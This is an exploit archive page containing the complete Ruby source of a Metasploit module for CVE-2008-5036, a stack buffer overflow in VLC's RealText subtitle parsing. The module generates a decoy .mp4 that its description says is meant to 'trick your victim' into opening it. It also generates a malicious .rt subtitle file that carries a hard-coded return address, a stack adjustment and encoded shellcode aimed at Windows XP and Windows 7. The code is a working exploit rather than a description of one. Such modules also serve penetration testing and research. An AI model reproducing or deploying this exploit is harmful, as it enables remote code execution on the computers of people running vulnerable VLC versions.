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VLC Media Player RealText Subtitle Overflow

VLC Media Player RealText Subtitle Overflow
Posted Mar 3, 2012
Authored by Tobias Klein, SkD, juan vazquez | Site metasploit.com

This Metasploit module exploits a stack buffer overflow vulnerability in VideoLAN VLC versions prior to 0.9.6. The vulnerability exists in the parsing of RealText subtitle files. In order to exploit this, this module will generate two files: The .mp4 file is used to trick your victim into running. The .rt file is the actual malicious file that triggers the vulnerability, which should be placed under the same directory as the .mp4 file.

tags | exploit, overflow
advisories | CVE-2008-5036, OSVDB-49809
MD5 | f295ecc1bff79f3602400c7e2760ad65

VLC Media Player RealText Subtitle Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VLC Media Player RealText Subtitle Overflow',
'Description' => %q{
This module exploits a stack buffer overflow vulnerability in
VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
RealText subtitle files.

In order to exploit this, this module will generate two files:
The .mp4 file is used to trick your victim into running. The .rt file
is the actual malicious file that triggers the vulnerability, which
should be placed under the same directory as the .mp4 file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tobias Klein', # Vulnerability Discovery
'SkD', # Exploit
'juan vazquez' # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'OSVDB', '49809' ],
[ 'CVE', '2008-5036' ],
[ 'BID', '32125' ],
[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
],
'Payload' =>
{
'Space' => 1900,
'DisableNops' => true,
'BadChars' => "\x00\x22\x0a",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 05 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),
], self.class)
end

def generate_mp4
mp4 = ''
# ftyp
mp4 << "\x00\x00\x00\x14" #Size
mp4 << "ftyp" #Type
mp4 << "isom" #Major brand
mp4 << "\x00\x00" #version
mp4 << "\x00\x00"
mp4 << "mp41" #Compatible brands
# moov
mp4 << "\x00\x00\x00\x9f" #Size
mp4 << "moov" #Type
mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
mp4 << "udta"
mp4 << "\x00\x00\x00\x23"
mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
mp4 << "vlc 0.9.4 stream output"
# wide
mp4 << "\x00\x00\x00\x08"
mp4 << "wide"
# mdat
mp4 << "\x00\x00\x00\x08"
mp4 << "mdat"

return mp4
end

def generate_rt
my_payload = ""
my_payload << Rex::Text.rand_text(72, payload_badchars)
my_payload << [target.ret].pack("V") # EIP => jmp esp
my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
my_payload << Rex::Text.rand_text(2, payload_badchars)
my_payload << [target['WritableAddress']].pack("V") # Writable address
my_payload << payload.encoded

rt_file = <<-eos
<window height="250" width="300" duration="15" bgcolor="yellow">
Mary had a little lamb,
<br/><time begin="#{my_payload}"/>
<br/><time begin="6"/>little lamb,
<br/><time begin="9"/>Mary had a little lamb
<br/><time begin="12"/>whose fleece was white as snow.
</window>
eos

return rt_file
end

def exploit

mp4 = generate_mp4
rt = generate_rt

print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
file_create(rt)

original_fname = datastore['FILENAME']
datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
file_create(mp4)

datastore['FILENAME'] = original_fname

end
end

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